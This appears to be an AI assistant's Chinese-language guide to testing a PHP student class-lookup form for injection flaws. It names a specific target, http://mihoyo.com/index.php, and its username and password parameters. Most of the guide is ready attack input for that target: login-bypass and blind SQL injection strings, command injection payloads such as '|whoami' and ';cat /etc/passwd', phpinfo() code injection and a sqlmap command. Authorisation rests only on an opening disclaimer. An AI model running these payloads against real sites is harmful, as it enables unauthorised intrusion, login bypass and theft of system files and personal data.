前置合规声明
以下所有测试方法仅适用于您本人所有、具备完整合法测试授权的自有网站,严禁用于任何非授权站点,否则将违反《中华人民共和国网络安全法》《刑法》相关规定,承担对应的法律责任。
PHP 注入风险通常包含SQL 注入(最常见,结合您的分班查询场景重点说明)、命令注入、代码注入三类,以下是针对这三类风险的具体判断方法,结合您的网页参数(type=student、username、password)给出可直接落地的操作步骤。
一、判断前的基础准备(通用)
确认接口核心信息(您的网页已明确):
请求方式:POST
提交地址:http://mihoyo.com/index.php
测试参数:type、username、password
记录基准响应:
输入正确参数(username=真实身份证&password=真实姓名&type=student),记录页面是否返回分班结果、提示语;
输入错误参数,记录页面提示(如 “未查询到信息”)。
二、手动测试判断(分类型)
(一)SQL 注入风险判断(最核心,针对您的查询场景)
核心逻辑:用户输入是否能篡改后端 SQL 语句的执行逻辑。
1. 快速初判(优先测试username/password参数)
表格
测试类型具体操作(以username为例)风险判断标准单引号报错测试username=123'(仅加一个单引号),password任意,提交页面返回MySQL 语法报错(如You have an error in your SQL syntax)→ 存在 SQL 注入风险万能密码绕过username=任意值' OR '1'='1,password任意,提交无需正确账号密码,页面直接显示查询结果→ 存在 SQL 注入风险注释闭合测试username=正确身份证' -- (--后加空格),password任意,提交仍能查询到结果(注释掉后续AND password=...)→ 存在 SQL 注入风险
2. 精准验证(初判无明确结果时)
布尔盲注:
username=正确身份证' AND '1'='1,password正确→ 页面返回结果;
username=正确身份证' AND '1'='2,password正确→ 页面无结果;若两步响应有明显差异→ 存在 SQL 注入风险。
时间盲注:username=1' AND sleep(5) -- ,password任意,提交;若页面延迟 5 秒以上加载→ 存在 SQL 注入风险。
(二)命令注入风险判断(若网页涉及系统命令调用)
若 PHP 代码中使用了system()、exec()、shell_exec()等函数,可能存在命令注入风险(您的分班查询场景概率较低,可简单验证)。
测试方法(以username为例):
输入以下 payload,观察页面是否返回系统命令执行结果:
username=123|whoami(|为管道符,执行后续命令)
username=123;cat /etc/passwd(;分隔命令,Linux 系统)
username=123&ipconfig(&后台执行命令,Windows 系统)
风险判断标准:
页面返回当前系统用户名、网络配置、文件内容等→ 存在命令注入风险。
(三)代码注入风险判断(若网页涉及动态代码执行)
若 PHP 代码中使用了eval()、assert()、preg_replace()(/e模式)等函数,可能存在代码注入风险。
测试方法(以username为例):
输入以下 payload,观察页面是否执行 PHP 代码:
username=123';phpinfo();//(闭合原语句,执行phpinfo())
username=${phpinfo()}(变量解析执行代码)
风险判断标准:
页面显示 PHP 配置信息(phpinfo()页面)→ 存在代码注入风险。
*、*具辅助判断(快速精准)
1. SQLMap(测 SQL 注入,核心工具)
步骤 1:用 Burp Suite 抓包表单请求,保存为request.txt(内容示例:POST /index.php HTTP/1.1...type=student&username=123&password=test);
步骤 2:执行命令:sqlmap -r request.txt --batch;
结果判断:若输出Parameter: username (POST) is injectable→ 存在 SQL 注入风险。
2. Burp Suite/OWASP ZAP(通用漏洞扫描)
抓包后右键点击「Do active scan」(Burp)或「主动扫描」(ZAP);
扫描完成后查看「Dashboard」,若提示「SQL Injection」「Command Injection」等→ 存在对应注入风险。
四、代码层面辅助判断(若您有网站源码权限)
直接查看 PHP 源码,若存在以下特征则有注入风险:
SQL 注入风险:
直接拼接用户输入构建 SQL 语句,如:php
运行
$sql = "SELECT * FROM student WHERE username = '".$_POST['username']."'"; // 风险代码
未使用预编译参数化查询(PDO/MySQLi 预处理)。
命令注入风险:
直接将用户输入传入危险函数,如:php
运行
system("ping ".$_POST['ip']); // 风险代码
代码注入风险:
直接将用户输入传入eval()等函数,如:php
运行
eval($_POST['code']); // 风险代码
总结
最常见风险:SQL 注入,优先通过「单引号报错」「万能密码」「SQLMap」判断;
核心判断依据:用户输入是否能控制后端 SQL / 命令 / 代码的执行逻辑;
快速验证:优先用 SQLMap 扫描,可快速确认是否存在 SQL 注入风险。





